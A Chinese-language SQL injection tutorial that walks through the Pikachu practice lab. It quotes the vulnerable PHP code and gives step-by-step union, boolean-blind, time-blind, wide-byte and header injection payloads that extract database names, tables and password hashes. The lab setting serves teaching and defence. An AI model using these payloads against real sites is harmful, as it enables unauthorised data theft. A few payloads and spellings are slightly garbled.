赞
踩
目录
SQL:是操作数据库数据的结构化的查询语言,实现对网页应用数据和后台数据库的交互。SQL注入是将表单域或数据包输入的参数,拼接成的SQL语句,传递给Web服务器,进而传给数据库服务器并得到执行,达到获取数据库信息的目的。如果Web应用程序的开发人员对用户输入的数据或Cookie等内容未过滤或者验证就直接传给数据库,就可能导致恶意的SQL语句被执行,进而获取数据库的信息,造成SQL注入攻击。
SQL注入漏洞产生的主要原因:
concat函数主要功能就是将多个字符拼接成一个字符串
将数据表中多列数据排成一列,便于显示结果,concat_ws函数和concat函数类似,区别是concat—ws函数可以指定分隔符,其语法为:concat_ws(separator,str1,str2,...),需要注意的是分隔符不能为NULL,如果为NULL,则返回结果为NULL。group_concat函数也和concat类似,区别是group_concat函数主要用在含有group_by的查询语句中,将同一个分组的值拼接起来。
length函数主要功能就是计算字符串的字符长度。
在SQL注入的过程中,经常需要计算字符串的长度,例如在不回显的场景下进行注入,一本被称为盲注,这种情况下需要逐一猜解字符,猜解过程中首先就要计算字符串长度。
ascii函数主要功能就是计算字符的sacii码值。
盲注的过程中需要逐一猜解字符,过程中需要计算ascii码,进行数值比较从而确定字符。
substr函数主要功能就是截取字符串
盲注的过程中需要逐一猜解字符,过程中需要截取字符串中其中一个字符进行判断。
left函数主要功能也是截取字符串,默认从左截取。right同理
根据条件表达式的结果返回不同的值
在SQl注入中,if函数和sleep函数结合使用,实现SQL注入中的时间盲注。
改变文档中符合条件的节点的值
SQL注入过程中,若无数据回显,但是存在报错页面的数据回显,会用到报错注入中。
SQL注入漏洞种类有很多,按照数据类型分为数字型、字符型和搜索型;按照提交方式可分为GET型、POST型、Cookie型和HTTP请求头注入型;按照执行效果可以分为,报错注入,联合查询注入、联合查询注入、盲注和堆查询注入,其中盲注又可以分为基于布尔和基于时间注入。
联合查询是合并多个相似选择查询的结果集,即将一个表追加到另一个表,从而实现将两个表的杳询结果组合在一起,使用关键词为union或union all。
基于联合查询的SQL注入是SQL注入的一种,既要满足SOL注入漏洞存在的一般条件,还要满足查询的信息在前端有回显。
基于pikachu平台,我演示一个完整的基于联合查询的SOL注入案例。
- if(isset($_GET['submit']) && $_GET['name']!=null){
- //这里没有做任何处理,直接拼到select里面去了
- $name=$_GET['name'];
- //这里的变量是字符型,需要考虑闭合
- $query="select id,email from member where username='$name'";
- $result=execute($link, $query);
- if(mysqli_num_rows($result)>=1){
- while($data=mysqli_fetch_assoc($result)){
- $id=$data['id'];
- $email=$data['email'];
- $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
由第24~26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第28~31行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用execute函数执行SQL语句获取数据,从而造成SOL注入漏洞,由第32~34行代码可知,后端将获取到的member数据表的id、emai字段的数据返回给前端。因此,可以利用基于联合査询的SQL注入进行攻击。
输入kobe,查询出kobe的基本信息
输入kobe' and 1=1#,查询,也可以查询出kobe的基本信息
输入kobe' and 1=2#,不能查询出boke基本信息,可以判断出此处存在字符型的SQL漏洞。
输入kobe' order by 2#,查询
输入kobe' order by 3#,查询,不能查询出信息,判断出字段数为2
输入kobe' union select 1,2#,查询,两个字段均有回显
输入kobe' union select 1,database()#,回显出数据库名为pikachu
输入kobe' union select 1, table_name from information_schema.tables where table_schema=database()#
由此可以判断出数据表名:httpinfo,member,message,users,xssblind.
kobe' union select 1, column_name from information_schema.columns where table_schema=database() and table_name='users'#
由此可以判断出数据字段名:id,username,password,level
kobe' union select username,password from users#
your uid:admin
your email is: e10adc3949ba59abbe56e057f20f883e
your uid:pikachu
your email is: 670b14728ad9902aecba32e22fa4f6bd
your uid:test
your email is: e99a18c428cb38d5f260853678922e03
判断为MAD5
在SQL注入过程中,SQL语句执行后,查询的数据不能回显到前端页面,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。根据表现形式的不同,盲注又分为布尔型盲注和时间型盲注。
基于pikachu平台,我演示一个完整的布尔型盲注的SOL注入案例。
- if(isset($_GET['submit']) && $_GET['name']!=null){
- $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
- $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
- //mysqi_query不打印错误描述,即使存在注入,也不好判断
- $result=mysqli_query($link, $query);//
- // $result=execute($link, $query);
- if($result && mysqli_num_rows($result)==1){
- while($data=mysqli_fetch_assoc($result)){
- $id=$data['id'];
- $email=$data['email'];
- $html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";
- }
- }else{
-
- $html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";
- }
- }

由第25行和第26行代码可知,后端基于GET方法,通过“name”变量接收前端传递的参数,由第27~30行代码可知,后端将接收到的参数未做任何过滤和处理,直接拼接到SQL语句中,并使用mysqli query函数执行SQL语句获取数据,从而造成SQL注入漏洞,与“字符型注入(get)”漏洞模块的核心源代码不同,第29行代码的判断条件为“==1”,无法使用基于联合査询的SOL注入攻击,由第30~36行代码可知,后端向前端只返回两种结果。因此,可以利用布尔盲注进行攻击。
盲注和联合查询注入一样,利用kobe' and 1=1#和kobe' and 1=2#回显结果不一样可以判断出存在SQL注入漏洞,但是和联合查询不一样的是,盲注只显示两种结果,需要利用两种不同的查询结果来判断数据库的信息是否正确。
kobe' and length(database())>6#
kobe' and length(database())>7#
判断出数据库名长度为7
输入kobe' and ascii(substr(database(),1,1))>112#
kobe' and ascii(substr(database(),1,1))>111#
由此可以判断数据库名称的第一个字母的ascii码为112,即为字母p,用同样的方法判断,数据库名其他字母依次为:i、k、a、c、h、u,因此,数据库名为“pikachu”
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>5#
kobe' and (select count(table_name) from information_schema.tables where table_schema=database())>4#
可以判断出数据表数目为5
kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>8#
kobe' and (select length(table_name) from information_schema.tables where table_schema=database()limit 0,1)>7#
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>104#
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema =database() limit 0,1),1,1))>103#
第一个数据表名称的第一个字母的 asci 码值为104,即数据表名称的第一个字母为 h。用同样的方法判断,数据表名称的其他字母依次为:t、t、p、i、n、f、0,因此,第一个数据表名称为“httpinfo”。用同样的方法,得到其余的数据表名称次为:member、message、users、xssblind.
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>4#
kobe' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')>3#
kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>2#
kobe' and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='users' limit 0,1)>1#
观察两次查询结果不同,可以判断表的第一列名称字符数目为2
kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>104#
kobe' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1), 1, 1))>105#
观察两次查询结果不同,可以判断表的第一列的第一个字符对应 ascii 码为105,即字符为i,用同样的方法判断表的第一列名称第二个字符为d。因此,表的第一列名称为id。采用同样方法依次得出其余三个字段的名称为:usermame、password、level.
10.获取数据表中数据的数目
kobe' and (select count(id) from users)>2#
kobe' and (select count(id) from users)>3#
观察两次查询结果不同,可以判断数据表中的数据数目为3。
kobe' and (select length(username) from users limit 0, 1)>4#
kobe' and (select length(username) from users limit 0, 1)>5#
可以判断数据表中具体数据项的字符数目为5
11.获取数据表中数据
kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>96#
kobe' and ascii(substr((select username from users limit 0, 1), 1, 1))>97#
可以判断users表的username列的第一行数据的第一字符对应ascii码为97,即字符为a,用同样的方法可以获取其余字符依次为d、m、i、n。因此,users表的username列中的第一行数据为“admin”。采用同样方法可以获取其他字段中的数据,直至获取数据表中的全部数据。
时间盲注适用的场景通常是无法从Web显示页面上获取执行结果,这种场景下,可以在SQL语句中使用Sleep函数,结合判断条件,观察加载网页的时间来判断条件是否成立,从而获取有效信息,达到攻击的目的,一般把这种攻击方法叫作时间盲注攻击。
- if(isset($_GET['submit']) && $_GET['name']!=null){
- $name=$_GET['name'];//这里没有做任何处理,直接拼到select里面去了
- $query="select id,email from member where username='$name'";//这里的变量是字符型,需要考虑闭合
- $result=mysqli_query($link, $query);//mysqi_query不打印错误描述
- // $result=execute($link, $query);
- // $html.="<p class='notice'>i don't care who you are!</p>";
- if($result && mysqli_num_rows($result)==1){
- while($data=mysqli_fetch_assoc($result)){
- $id=$data['id'];
- $email=$data['email'];
- //这里不管输入啥,返回的都是一样的信息,所以更加不好判断
- $html.="<p class='notice'>i don't care who you are!</p>";
- }
- }else{
与“盲注(base on bool)”漏洞模块的核心源代码区别是第34行和第37行代码。由代码可知,后端向前端只返回一种结果,且返回结果中不包含任何数据库中的数据信息,因此,可以采用时间盲注进行攻击。
1.判读注入点
调出浏览器的调试工具,选择“网络”选项卡,在编辑框中输入“kobe'and sleep(5)#”,执行结果由图可知,网络响应时间延迟了5秒,说明存在时间型盲注。
kobe' and if((substr(database(), 0, 1))='p', sleep(5), null)#
由图可知,网络响应时间延迟了接近5秒,说明数据库名称的第一个字符为P,可采用相同的方法,获取数据库中的其他信息。
PHP中的addslashes函数会自动过滤“,”“nul”等敏感字符,将它们转义成“\”“null!”。然而,宽字节字符集比如GBK会自动把两个字节的字符识别为一个汉字,所以我们在单引号前面加一个%df,从而使单引号逃逸,构成单引号闭合。
inset/update/delete注入就是指前端输入的信息会被后台构建为inset/update/delete语句,若没有做出相应的处理,就会构成inset/update/delete注入。
- $html='';
- if(isset($_GET['submit'])){
- if($_GET['username']!=null && $_GET['password']!=null){
- //转义,防注入
- $username=escape($link, $_GET['username']);
- $password=escape($link, $_GET['password']);
- $query="select * from member where username='$username' and pw=md5('$password')";
- $result=execute($link, $query);
- if(mysqli_num_rows($result)==1){
- $data=mysqli_fetch_assoc($result);
- $_SESSION['sqli']['username']=$username;
- $_SESSION['sqli']['password']=sha1(md5($password));
- header("location:sqli_mem.php");
- }else{
- $html.="<p>登录失败,请重新登录</p>";
- }

后端将接收到的参数未做任何过滤和处理,直接拼接到SQL 语句中,并使用 execute 函数执行 SQL 语句更新数据,从而造成 SOL 注入漏洞。
由代码可知,后端将接收到的客户端参数未做任何过滤和处理,直接拼接到SQL语句中,并使用 execute 函数执行 SQL 语句,插入数据,从而造成 SQL 注入漏洞。
4.也可以利用Cookie头注入获取数据库信息。在Cookie的admin后,分号前添加gmdupdatexml(1,concat(0x7e,database0),0)#
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。